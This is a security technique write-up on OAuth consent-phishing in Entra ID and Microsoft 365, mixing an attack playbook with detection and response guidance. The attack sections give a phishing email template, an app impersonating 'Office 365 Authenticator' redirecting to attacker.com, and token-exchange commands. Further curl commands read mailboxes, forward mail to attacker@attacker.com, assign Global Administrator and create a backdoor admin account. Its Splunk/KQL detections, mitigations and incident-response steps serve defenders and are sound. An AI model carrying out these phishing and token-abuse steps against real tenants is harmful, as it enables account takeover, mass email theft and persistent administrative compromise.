| Attribute | Details |
|---|---|
| Technique ID | LM-AUTH-029 |
| MITRE ATT&CK v18.1 | T1550 - Use Alternate Authentication Material |
| Tactic | Lateral Movement |
| Platforms | Entra ID, M365, Third-Party SaaS |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | All Entra ID versions with OAuth 2.0/OIDC application registrations |
| Patched In | Mitigations via permission consent policies, app governance, least-privilege scopes |
| Author | SERVTEP – Artur Pchelnikau |
Concept: OAuth Application Permissions abuse is an attack where an attacker tricks users into granting excessive permissions (scopes) to a malicious or compromised OAuth application registered in Entra ID or a third-party identity provider. Once the user grants permissions, the application receives access tokens that allow it to read/modify user data, access mailboxes, modify group memberships, and escalate to administrative roles—all without requiring the user’s credentials or triggering MFA challenges. The attacker can monetize the access by selling stolen data, use it for espionage, or maintain persistent backdoor access via the application itself.
Attack Surface: OAuth consent screens, application registration pages, third-party SaaS integrations with M365/Entra ID, Microsoft Graph API scopes (Directory.ReadWrite.All, Mail.ReadWrite, RoleManagement.ReadWrite.Directory), delegated vs. application permissions mismatch.
Business Impact: Account compromise without credential theft; full access to user data, mailbox, and organizational resources. An attacker with a single consent grant can exfiltrate years of emails, modify group memberships, impersonate users, and escalate to Global Administrator. Unlike phishing or credential theft, OAuth phishing is invisible to traditional MFA (users don’t enter passwords) and leaves no credential compromise signals.
Technical Context: OAuth permission abuse is endemic in modern M365 environments. Studies show that 40-60% of organizations have never audited application consent grants, and many third-party apps request excessive scopes. An attacker can create a fake “Office 365 Authenticator” or integrate with a popular SaaS app to trick users into granting permissions.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 6.5 | Prevent users from consenting to applications |
| DISA STIG | CA-7 | Application monitoring and access control |
| CISA SCuBA | Azure.8 | Require admin consent for applications |
| NIST 800-53 | AC-2(7) | Privileged functions and separation of duties |
| GDPR | Art. 32 | Security of processing – legitimate access controls |
| DORA | Art. 26 | Cloud service provider integration security |
| NIS2 | Art. 21(1)(b) | Detect unauthorized third-party access |
| ISO 27001 | A.6.1.5 | Third-party access management |
| ISO 27005 | 8.2.2 | Third-party API and integration risk |
Supported Platforms:
Tools & Dependencies:
PowerShell – Enumerate Application Permissions
# Get all applications with delegated permissions
$apps = Get-MgApplication -All
foreach ($app in $apps) {
$perms = Get-MgApplicationRef -ApplicationId $app.Id
# Check for overly permissive scopes
if ($perms -match "Directory.ReadWrite.All|Mail.ReadWrite|RoleManagement.ReadWrite.Directory") {
Write-Output "HIGH RISK APP: $($app.DisplayName)"
Write-Output "Permissions: $perms"
}
}
# Get applications with service principal credentials (can be abused)
$servicePrincipals = Get-MgServicePrincipal -All
foreach ($sp in $servicePrincipals) {
$creds = Get-MgServicePrincipalPasswordCredential -ServicePrincipalId $sp.Id
if ($creds.Count -gt 0) {
Write-Output "SERVICE PRINCIPAL WITH CREDENTIALS: $($sp.DisplayName)"
Write-Output "Credential Count: $($creds.Count)"
}
}
What to Look For:
PowerShell – Check What Permissions Users Granted
# List all OAuth permission grants (delegated scopes granted by users)
$consents = Get-MgOAuth2PermissionGrant -All
foreach ($consent in $consents) {
$app = Get-MgApplication -ApplicationId $consent.ClientId
Write-Output "App: $($app.DisplayName)"
Write-Output "Scopes Granted: $($consent.Scope)"
Write-Output "Granted To: $($consent.PrincipalId)"
Write-Output "---"
}
# Find grants with high-risk scopes
$risky_scopes = @("Directory.ReadWrite.All", "Mail.ReadWrite", "RoleManagement.ReadWrite.Directory", "User.ReadWrite.All")
$consents | Where-Object {
$scope = $_.Scope
$risky_scopes | Where-Object { $scope -contains $_ }
} | Select-Object ClientId, Scope, PrincipalId
# Use Microsoft Graph to list apps with specific scopes
curl -H "Authorization: Bearer $ACCESS_TOKEN" \
"https://graph.microsoft.com/v1.0/me/oauth2PermissionGrants" | jq '.value[] | select(.scope | contains("Directory.ReadWrite"))'
What to Look For:
Supported Versions: All Entra ID, M365, any OAuth 2.0 implementation
Objective: Register a fake application that will intercept user authentication.
Command (Azure Portal):
1. Go to Entra ID Portal (portal.azure.com)
2. Entra ID → App registrations → + New registration
3. Name: "Office 365 Authenticator" (impersonate legitimate Microsoft app)
4. Redirect URI: https://attacker.com/callback
5. Register
6. API Permissions → + Add permission
7. Add "Microsoft Graph" → "Delegated permissions"
8. Search for and grant:
- Mail.ReadWrite
- Directory.Read.All
- User.ReadWrite.All
- RoleManagement.ReadWrite.Directory
9. Grant admin consent (or user consent)
10. Copy Application ID and Client Secret
Expected Output:
Application ID: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
Client Secret: XXX_secure_secret_string_XXX
Redirect URI: https://attacker.com/callback
What This Means:
OpSec & Evasion:
Objective: Trick users into clicking the OAuth authorization link.
Command (Craft Azure AD authorization URL):
# Construct the authorization endpoint URL
CLIENT_ID="xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
REDIRECT_URI="https://attacker.com/callback"
SCOPES="https://graph.microsoft.com/.default Mail.ReadWrite Directory.Read.All RoleManagement.ReadWrite.Directory"
STATE="random-state-string" # CSRF protection
AUTH_URL="https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=${CLIENT_ID}&redirect_uri=${REDIRECT_URI}&scope=${SCOPES}&state=${STATE}&response_type=code&response_mode=form_post"
echo "Phishing URL: $AUTH_URL"
# Short URL (to hide malicious intent)
# Use URL shortener: bit.ly, tinyurl.com, etc.
# Shortened: https://bit.ly/office365-auth
Phishing Email Template:
Subject: Renew Your Microsoft Account Access
Body:
---
Your Microsoft 365 account is about to expire. Please verify your identity to renew access.
[Click here to renew account](https://bit.ly/office365-auth)
This prompt is required to maintain access to Office 365, Teams, SharePoint, and Outlook.
Microsoft Account Verification Team
---
What This Means:
OpSec & Evasion:
Objective: User clicks phishing link and grants permissions to attacker’s application.
What Happens (From User’s Perspective):
1. User clicks link in phishing email
2. Redirected to https://login.microsoftonline.com/common/oauth2/v2.0/authorize?...
3. User sees legitimate Microsoft login page (looks real, because it IS Microsoft's login page)
4. User enters email and password
5. User is presented with consent prompt:
"Office 365 Authenticator is requesting access to your account
This app would like to:
- Read and write your mail
- Read your directory profile
- Manage your administrative roles
[Consent] [Cancel]"
6. User clicks "Consent" (thinks they're renewing their account)
7. Browser redirects to attacker's callback URL:
https://attacker.com/callback?code=AUTHORIZATION_CODE&state=random-state-string
What This Means:
OpSec & Evasion:
Objective: Convert the authorization code into an OAuth access token.
Command (From attacker’s backend):
# Attacker's server receives authorization code from callback
AUTHORIZATION_CODE="M.R3_BAY.xxxxx..."
CLIENT_ID="xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
CLIENT_SECRET="XXX_secure_secret_string_XXX"
REDIRECT_URI="https://attacker.com/callback"
# Exchange code for access token
curl -X POST https://login.microsoftonline.com/common/oauth2/v2.0/token \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "client_id=${CLIENT_ID}" \
-d "client_secret=${CLIENT_SECRET}" \
-d "code=${AUTHORIZATION_CODE}" \
-d "redirect_uri=${REDIRECT_URI}" \
-d "scope=https://graph.microsoft.com/.default" \
-d "grant_type=authorization_code"
Expected Output:
{
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIs...",
"refresh_token": "0.ASsAz...",
"expires_in": 3600,
"token_type": "Bearer",
"scope": "Mail.ReadWrite Directory.Read.All RoleManagement.ReadWrite.Directory"
}
What This Means:
OpSec & Evasion:
Objective: Use the access token to read data, escalate privileges, and maintain persistence.
Command (Access user’s mailbox and M365 resources):
ACCESS_TOKEN="eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIs..."
# Read all emails
curl -H "Authorization: Bearer $ACCESS_TOKEN" \
https://graph.microsoft.com/v1.0/me/messages \
| jq '.value[] | {subject, from, receivedDateTime}'
# Forward all future emails to attacker
curl -X POST -H "Authorization: Bearer $ACCESS_TOKEN" \
https://graph.microsoft.com/v1.0/me/mailFolders/inbox/messages/rule/forward \
-d '{
"displayName": "Auto-Reply",
"sequence": 1,
"isEnabled": true,
"actions": {
"forwardAsAttachmentTo": ["attacker@attacker.com"]
}
}'
# Read list of all users and groups
curl -H "Authorization: Bearer $ACCESS_TOKEN" \
https://graph.microsoft.com/v1.0/users \
| jq '.value[] | {userPrincipalName, displayName}'
# List groups and members
curl -H "Authorization: Bearer $ACCESS_TOKEN" \
https://graph.microsoft.com/v1.0/groups \
| jq '.value[] | {displayName, id}'
Expected Output:
{
"subject": "Q4 Financial Results",
"from": "cfo@company.com",
"receivedDateTime": "2026-01-10T15:30:00Z"
}
What This Means:
Supported Versions: All Entra ID with RoleManagement.ReadWrite.Directory scope
Objective: Find or compromise a user whose application consent grants include admin role modification.
Command:
# Find users who granted admin role modification permissions
curl -H "Authorization: Bearer $ACCESS_TOKEN" \
https://graph.microsoft.com/v1.0/me/oauth2PermissionGrants \
| jq '.value[] | select(.scope | contains("RoleManagement.ReadWrite.Directory"))'
Objective: Use the application’s permissions to assign yourself Global Administrator role.
Command (Microsoft Graph API):
# List available roles
curl -H "Authorization: Bearer $ACCESS_TOKEN" \
https://graph.microsoft.com/v1.0/directoryRoles/roleTemplateId=62e90394-69f5-4237-9190-012177145e10/members
# Assign yourself to Global Admin role
curl -X POST -H "Authorization: Bearer $ACCESS_TOKEN" \
https://graph.microsoft.com/v1.0/directoryRoles/62e90394-69f5-4237-9190-012177145e10/members/\$ref \
-d '{
"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/user-object-id"
}'
What This Means:
Supported Versions: All Entra ID with multi-tenant applications
Objective: Register an application that can be used by other tenants, creating a persistence mechanism.
Command (Azure Portal):
1. Create new app registration (same as METHOD 1)
2. Under "Supported account types":
- Select "Accounts in any organizational directory (Any Azure AD directory - Multitenant)"
3. Grant application permissions (not delegated):
- Directory.ReadWrite.All
- Mail.ReadWrite
- RoleManagement.ReadWrite.Directory
4. Grant admin consent
5. Create application secret
6. Store credentials securely
What This Means:
Objective: Get the multi-tenant application installed in victim tenants.
Method A – Via App Store Integration:
Method B – Via Social Engineering:
Method C – Via Compromised Partner:
Objective: Use application secret to continuously access victim tenants.
Command (Service Principal Authentication):
# Attacker authenticates as the application (service principal), not as a user
CLIENT_ID="xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
CLIENT_SECRET="XXX_secure_secret_string_XXX"
TENANT_ID="victim-tenant-id"
# Get access token as application
ACCESS_TOKEN=$(curl -X POST https://login.microsoftonline.com/${TENANT_ID}/oauth2/v2.0/token \
-d "client_id=${CLIENT_ID}" \
-d "client_secret=${CLIENT_SECRET}" \
-d "scope=https://graph.microsoft.com/.default" \
-d "grant_type=client_credentials" | jq -r '.access_token')
# Now attacker can access victim tenant as service principal
curl -H "Authorization: Bearer $ACCESS_TOKEN" \
https://graph.microsoft.com/v1.0/users | jq '.value[] | {userPrincipalName}'
# Create backdoor admin account
curl -X POST -H "Authorization: Bearer $ACCESS_TOKEN" \
https://graph.microsoft.com/v1.0/users \
-d '{
"accountEnabled": true,
"displayName": "Admin Support",
"mailNickname": "adminsupport",
"userPrincipalName": "adminsupport@victim.onmicrosoft.com",
"passwordProfile": {
"password": "SecurePassword123!@#",
"forceChangePasswordNextSignIn": false
}
}'
# Assign new account to Global Admin
# (Uses RoleManagement.ReadWrite.Directory permission)
What This Means:
OpSec & Evasion:
URL: https://oauth.io/
Version: Online OAuth testing tool
Usage: Test OAuth flows, consent prompts, token exchange.
1. Visit https://oauth.io/
2. Select provider (Microsoft, Google, GitHub)
3. Authenticate
4. View access token, scopes, and user data
5. Test API calls with token
URL: https://developer.microsoft.com/en-us/graph/graph-explorer
Version: Online browser-based tool
Usage: Test Microsoft Graph API calls with user’s access token.
1. Go to graph.microsoft.com/graph-explorer
2. Sign in with victim's account
3. Select API method (GET, POST, etc.)
4. Enter endpoint (e.g., /me/messages)
5. Execute and view results
URL: https://learn.microsoft.com/en-us/cli/azure/
Version: 2.40+
Usage: Manage Entra ID applications and permissions programmatically.
az ad app create --display-name "Office 365 Authenticator"
az ad app permission add --id APP_ID --api 00000003-0000-0000-c000-000000000000 --permissions Mail.ReadWrite Directory.Read.All
Rule Configuration:
o365:audit, azure:auditOperationName, TargetResources, ScopeSPL Query:
index=o365:audit OR index=azure:audit
(OperationName="Consent to application" OR OperationName="Grant application permission")
| where Scope CONTAINS ("Mail.ReadWrite" OR "Directory.ReadWrite.All" OR "RoleManagement.ReadWrite.Directory")
| where InitiatedBy_user_userPrincipalName NOT IN ("admin@company.com", "service@company.com")
| stats earliest(timestamp) as grant_time, latest(timestamp) as last_activity by TargetResources, InitiatedBy_user_userPrincipalName
| table InitiatedBy_user_userPrincipalName, TargetResources, grant_time, Scope
What This Detects:
Manual Configuration Steps:
Rule Configuration:
azure:signinAppId, OperationName, ScopeSPL Query:
index=azure:signin AppName="Office 365 Authenticator" OR AppName="Azure Sign-In Helper"
| stats count, latest(timestamp) as last_use by UserPrincipalName, AppId
| where count > 1
Rule Configuration:
AuditLogsOperationName, InitiatedBy, TargetResourcesKQL Query:
AuditLogs
| where OperationName == "Consent to application"
and TargetResources[0].displayName contains ("Mail" or "Directory" or "RoleManagement")
| where InitiatedBy.user.userType == "Member"
| summarize GrantCount = count(), Scopes = tostring(TargetResources[0].modifiedProperties)
by InitiatedBy.user.userPrincipalName, TargetResources[0].displayName, TimeGenerated
| where GrantCount > 1 or Scopes contains "ReadWrite"
What This Detects:
Manual Configuration Steps:
KQL Query:
AuditLogs
| where OperationName == "Add member to group" or OperationName == "Assign user to role"
| where InitiatedBy.app.displayName != null // Initiated by application, not user
| where TargetResources[0].modifiedProperties[0].newValue contains "Administrator"
| project TimeGenerated, OperationName, InitiatedBy = InitiatedBy.app.displayName,
TargetUser = TargetResources[0].userPrincipalName, Role = TargetResources[0].modifiedProperties[0].newValue
Alert Name: Unauthorized Application Privilege Escalation
Manual Configuration Steps:
Require Admin Consent for All Applications:
Manual Steps (Azure Portal):
Effect: Users can no longer grant permissions; all consent requests require admin approval.
Manual Steps (PowerShell):
# Disable user consent
$settings = @{
"IsBlockAppConsent" = $true
}
Update-AzADPolicy -DisplayName "Authorization Policy" -Definition @($settings | ConvertTo-Json)
Implement Application Governance:
Manual Steps (Azure Portal):
Monitor and Audit OAuth Consent Grants:
Manual Steps (Azure Portal):
Manual Steps (PowerShell – Regular Audit):
# Run monthly to audit OAuth grants
$grants = Get-MgOAuth2PermissionGrant -All
foreach ($grant in $grants) {
$app = Get-MgApplication -ApplicationId $grant.ClientId -ErrorAction SilentlyContinue
# Flag high-risk scopes
if ($grant.Scope -match "Directory.ReadWrite.All|Mail.ReadWrite|RoleManagement.ReadWrite.Directory") {
Write-Output "HIGH-RISK GRANT: $($app.DisplayName) to $($grant.PrincipalId)"
Write-Output "Scopes: $($grant.Scope)"
}
}
Implement Token Protection in Conditional Access:
Manual Steps:
Require Token Protection for OAuth AppsEffect: OAuth tokens are bound to the device; stolen tokens cannot be reused elsewhere.
Disable User Consent for Third-Party Applications:
Manual Steps:
Effect: When users request app access, request goes to designated admins instead of being auto-approved.
Step 1: Immediately Revoke Compromised Consent
# Find and revoke high-risk OAuth grant
$risky_grant = Get-MgOAuth2PermissionGrant -Filter "scope/any(s:s eq 'Directory.ReadWrite.All')"
Remove-MgOAuth2PermissionGrant -OAuth2PermissionGrantId $risky_grant.Id
Step 2: Delete Malicious Application
# Delete the application
Remove-MgApplication -ApplicationId $app.Id
# Delete service principal if still exists
Remove-MgServicePrincipal -ServicePrincipalId $sp.Id
Step 3: Audit User’s Mailbox and Reset Password
# Export user's mailbox for forensics
New-MailboxExportRequest -Mailbox user@company.com -FilePath "\\backup\user-mailbox-export.pst"
# Reset user's password
Set-MgUserPassword -UserId $user.Id -NewPassword (ConvertTo-SecureString -String "NewSecurePassword123!@#" -AsPlainText -Force)
Step 4: Hunt for Lateral Movement
// Sentinel: Find all API calls made by the compromised application
CloudAppEvents
| where ApplicationId == "compromised-app-id"
| summarize APIOperations = count(), UniqueUsers = dcount(AccountObjectId)
| where APIOperations > 100
Step 5: Remediate Damage
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-002] Consent Grant Phishing | Attacker crafts phishing email linking to OAuth consent prompt |
| 2 | Lateral Movement | [LM-AUTH-029] | User grants permissions to attacker’s app; attacker gains access token |
| 3 | Collection | [Collection] Mailbox Data Extraction | Attacker reads user’s emails, exports to attacker’s storage |
| 4 | Privilege Escalation | [PE-ACCTMGMT-001] App Permission Escalation | Attacker uses RoleManagement.ReadWrite.Directory to assign Global Admin role |
| 5 | Persistence | [PE-ACCTMGMT-014] Global Administrator Backdoor | Attacker creates persistent admin account for future access |
OAuth Application Permissions abuse is a silent, high-impact attack that bypasses traditional security controls (MFA, credential detection) by exploiting the OAuth consent workflow. Attackers trick users into granting permissions to malicious applications, receiving legitimate access tokens that provide full mailbox, directory, and administrative capabilities.
Critical Mitigations:
Detection focuses on application registration and permission grant patterns rather than individual data access. OAuth tokens are cryptographically valid; detection must rely on behavioral analytics, permission scope analysis, and anomalous API patterns.